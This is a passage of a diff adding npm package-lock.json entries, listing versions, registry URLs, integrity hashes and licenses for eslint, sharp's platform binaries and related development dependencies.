"sha512-nJl2KGTlrf9GjLimgIru+V/mzgSK0ABCDQRvxw5BjURL7WfH5uoWmizbH7QB6MmnMBd8cIC9uceWnezL1VZWWw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/object-schema": "^2.1.7", + "debug": "^4.3.1", + "minimatch": "^3.1.5" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/config-helpers": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz", + "integrity": "sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^0.17.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/core": { + "version": "0.17.0", + "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz", + "integrity": "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@types/json-schema": "^7.0.15" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.6.tgz", + "integrity": "sha512-l2Ul9PrHsPCKcEY/ac7VgFj9D80C7S68sOKc618SyHDPK36s1XcFebXY0iTzUVn4Yq+YbwvSnDmCz9yxjX+QrA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ajv": "^6.14.0", + "debug": "^4.3.2", + "espree": "^10.0.1", + "globals": "^14.0.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.3.0", + "minimatch": "^3.1.5", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint/eslintrc/node_modules/globals": { + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", + "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@eslint/js": { + "version": "9.39.5", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.5.tgz", + "integrity": "sha512-QywQuszQh77pIXCsq998c8hbhSTI/azTty1Z6N53dmAudKHhy573j3yvRLsX2BSp8YpLtoCEG8E9DJe+8zUh4A==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://eslint.org/donate" + } + }, + "node_modules/@eslint/object-schema": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz", + "integrity": "sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/plugin-kit": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz", + "integrity": "sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^0.17.0", + "levn": "^0.4.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@humanfs/core": { + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.2.tgz", + "integrity": "sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/types": "^0.15.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/node": { + "version": "0.16.8", + "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.8.tgz", + "integrity": "sha512-gE1eQNZ3R++kTzFUpdGlpmy8kDZD/MLyHqDwqjkVQI0JMdI1D51sy1H958PNXYkM2rAac7e5/CnIKZrHtPh3BQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/core": "^0.19.2", + "@humanfs/types": "^0.15.0", + "@humanwhocodes/retry": "^0.4.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/types": { + "version": "0.15.0", + "resolved": "https://registry.npmjs.org/@humanfs/types/-/types-0.15.0.tgz", + "integrity": "sha512-ZZ1w0aoQkwuUuC7Yf+7sdeaNfqQiiLcSRbfI08oAxqLtpXQr9AIVX7Ay7HLDuiLYAaFPu8oBYNq/QIi9URHJ3Q==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/retry": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", + "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@img/sharp-darwin-arm64": { + "version": "0.33.5", + "resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.33.5.tgz", + "integrity": "sha512-UT4p+iz/2H4twwAoLCqfA9UH5pI6DggwKEGuaPy7nCVQ8ZsiY5PIcrRvD1DzuY3qYL07NtIQcWnBSY/heikIFQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-darwin-arm64": "1.0.4" + } + }, + "node_modules/@img/sharp-darwin-x64": { + "version": "0.33.5", + "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.33.5.tgz", + "integrity": "sha512-fyHac4jIc1ANYGRDxtiqelIbdWkIuQaI84Mv45KvGRRxSAa7o7d1ZKAOBaYbnepLC1WqxfpimdeWfvqqSGwR2Q==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-darwin-x64": "1.0.4" + } + }, + "node_modules/@img/sharp-libvips-darwin-arm64": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.0.4.tgz", + "integrity": "sha512-XblONe153h0O2zuFfTAbQYAX2JhYmDHeWikp1LM9Hul9gVPjFY427k6dFEcOL72O01QxQsWi761svJ/ev9xEDg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "darwin" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-darwin-x64": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.0.4.tgz", + "integrity": "sha512-xnGR8YuZYfJGmWPvmlunFaWJsb9T/AO2ykoP3Fz/0X5XV2aoYBPkX6xqCQvUTKKiLddarLaxpzNe+b1hjeWHAQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "darwin" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-arm": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.0.5.tgz", + "integrity": "sha512-gvcC4ACAOPRNATg/ov8/MnbxFDJqf/pDePbBnuBDcjsI8PssmjoKMAz4LtLaVi+OnSb5FK/yIOamqDwGmXW32g==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-arm64": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.0.4.tgz", + "integrity": "sha512-9B+taZ8DlyyqzZQnoeIvDVR/2F4EbMepXMc/NdVbkzsJbzkUjhXv/70GQJ7tdLA4YJgNP25zukcxpX2/SueNrA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-s390x": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.0.4.tgz", + "integrity": "sha512-u7Wz6ntiSSgGSGcjZ55im6uvTrOxSIS8/dgoVMoiGE9I6JAfU50yH5BoDlYA1tcuGS7g/QNtetJnxA6QEsCVTA==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-x64": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.0.4.tgz", + "integrity": "sha512-MmWmQ3iPFZr0Iev+BAgVMb3ZyC4KeFc3jFxnNbEPas60e1cIfevbtuyf9nDGIzOaW9PdnDciJm+wFFaTlj5xYw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linuxmusl-arm64": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.0.4.tgz", + "integrity": "sha512-9Ti+BbTYDcsbp4wfYib8Ctm1ilkugkA/uscUn6UXK1ldpC1JjiXbLfFZtRlBhjPZ5o1NCLiDbg8fhUPKStHoTA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linuxmusl-x64": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.0.4.tgz", + "integrity": "sha512-viYN1KX9m+/hGkJtvYYp+CCLgnJXwiQB39damAO7WMdKWlIhmYTfHjwSbQeUK/20vY154mwezd9HflVFM1wVSw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-linux-arm": { + "version": "0.33.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.33.5.tgz", + "integrity": "sha512-JTS1eldqZbJxjvKaAkxhZmBqPRGmxgu+qFKSInv8moZ2AmT5Yib3EQ1c6gp493HvrvV8QgdOXdyaIBrhvFhBMQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-arm": "1.0.5" + } + }, + "node_modules/@img/sharp-linux-arm64": { + "version": "0.33.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.33.5.tgz", + "integrity": "sha512-JMVv+AMRyGOHtO1RFBiJy/MBsgz0x4AWrT6QoEVVTyh1E39TrCUpTRI7mx9VksGX4awWASxqCYLCV4wBZHAYxA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-arm64": "1.0.4" + } + }, + "node_modules/@img/sharp-linux-s390x": { + "version": "0.33.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.33.5.tgz", + "integrity": "sha512-y/5PCd+mP4CA/sPDKl2961b+C9d+vPAveS33s6Z3zfASk2j5upL6fXVPZi7ztePZ5CuH+1kW8JtvxgbuXHRa4Q==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-s390x": "1.0.4" + } + }, + "node_modules/@img/sharp-linux-x64": { + "version": "0.33.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.33.5.tgz", + "integrity": "sha512-opC+Ok5pRNAzuvq1AG0ar+1owsu842/Ab+4qvU879ippJBHvyY5n2mxF1izXqkPYlGuP/M556uh53jRLJmzTWA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-x64": "1.0.4" + } + }, + "node_modules/@img/sharp-linuxmusl-arm64": { + "version": "0.33.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.33.5.tgz", + "integrity": "sha512-XrHMZwGQGvJg2V/oRSUfSAfjfPxO+4DkiRh6p2AFjLQztWUuY/o8Mq0eMQVIY7HJ1CDQUJlxGGZRw1a5bqmd1g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linuxmusl-arm64": "1.0.4" + } + }, + "node_modules/@img/sharp-linuxmusl-x64": { + "version": "0.33.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.33.5.tgz", + "integrity": "sha512-WT+d/cgqKkkKySYmqoZ8y3pxx7lx9vVejxW/W4DOFMYVSkErR+w7mf2u8m/y4+xHe7yY9DAXQMWQhpnMuFfScw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linuxmusl-x64": "1.0.4" + } + }, + "node_modules/@img/sharp-wasm32": { + "version": "0.33.5", + "resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.33.5.tgz", + "integrity": "sha512-ykUW4LVGaMcU9lu9thv85CbRMAwfeadCJHRsg2GmeRa/cJxsVY9Rbd57JcMxBkKHag5U/x7TSBpScF4U8ElVzg==", + "cpu": [ + "wasm32" + ], + "dev": true, + "license": "Apache-2.0 AND LGPL-3.0-or-later AND MIT", + "optional": true, + "dependencies": { + "@emnapi/runtime": "^1.2.0" + }, + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-ia32": { + "version": "0.33.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.33.5.tgz", + "integrity": "sha512-T36PblLaTwuVJ/zw/LaH0PdZkRz5rd3SmMHX8GSmR7vtNSP5Z6bQkExdSK7xGWyxLw4sUknBuugTelgw2faBbQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-x64": { + "version": "0.33.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.33.5.tgz", + "integrity": "sha512-MpY/o8/8kj+EcnxwvrP4aTJSWw/aZ7JIGR4aBeZkZw5B7/Jn+tY9/VNwtcoGmdT7GfggGIU4kygOMSbYnOrAbg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@types/estree": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", + "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "dev": true, + "license": "MIT" + }, + "node_modules/acorn": { + "version": "8.18.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.18.0.tgz", + "integrity": "sha512-lGq+9yr1/GuAWaVYIHRjvvySG5/4VfKIvC8EWxStPdcDh/Ka7FG3twP6v4d5BkravUilhIAsG4Qj83t02LWUPQ==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/ajv": { + "version": "6.15.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.15.0.tgz", + "integrity": "sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true, + "license": "Python-2.0" + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/brace-expansion": { + "version": "1.1.18", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.18.tgz", + "integrity": "sha512-Edep/X9fGqVNmzKBVsDYIOtD+z1tuezV70LBjdCst9Tqu76lsnvRiZ6oTic1n+/BIwX6QDGAO94PN4N2SADvtw==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/color": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/color/-/color-4.2.3.tgz", + "integrity": "sha512-1rXeuUUiGGrykh+CeBdu5Ie7OJwinCgQY0bc7GCRxy5xVHy+moaqkpL/jqQq0MtQOeYcrqEz4abc5f0KtU7W4A==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1", + "color-string": "^1.9.0" + }, + "engines": { + "node": ">=12.5.0" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/color-string": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/color-string/-/color-string-1.9.1.tgz", + "integrity": "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "^1.0.0", + "simple-swizzle": "^0.2.2" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true, + "license": "MIT" + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/detect-libc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=8" + } + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint": { + "version": "9.39.5", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.5.tgz", + "integrity": "sha512-DgZS62aPLXKlnxILS/AYCoRvHaZeXceIzlXPkkGGzJWSow1aEk0lbTlxUSlyjC8jcaKxAdOnTDz+o1JFSBsyjw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.8.0", + "@eslint-community/regexpp": "^4.12.1", + "@eslint/config-array": "^0.21.2", + "@eslint/config-helpers": "^0.4.2", + "@eslint/core": "^0.17.0", + "@eslint/eslintrc": "^3.3.6", + "@eslint/js": "9.39.5", + "@eslint/plugin-kit": "^0.4.1", + "@humanfs/node": "^0.16.6", + "@humanwhocodes/module-importer": "^1.0.1", + "@humanwhocodes/retry": "^0.4.2", + "@types/estree": "^1.0.6", + "ajv": "^6.14.0", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.6", + "debug": "^4.3.2", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^8.4.0", + "eslint-visitor-keys": "^4.2.1", + "espree": "^10.4.0", + "esquery": "^1.5.0", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^8.0.0", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.5", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://eslint.org/donate" + }, + "peerDependencies": { + "jiti": "*" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + } + } + }, + 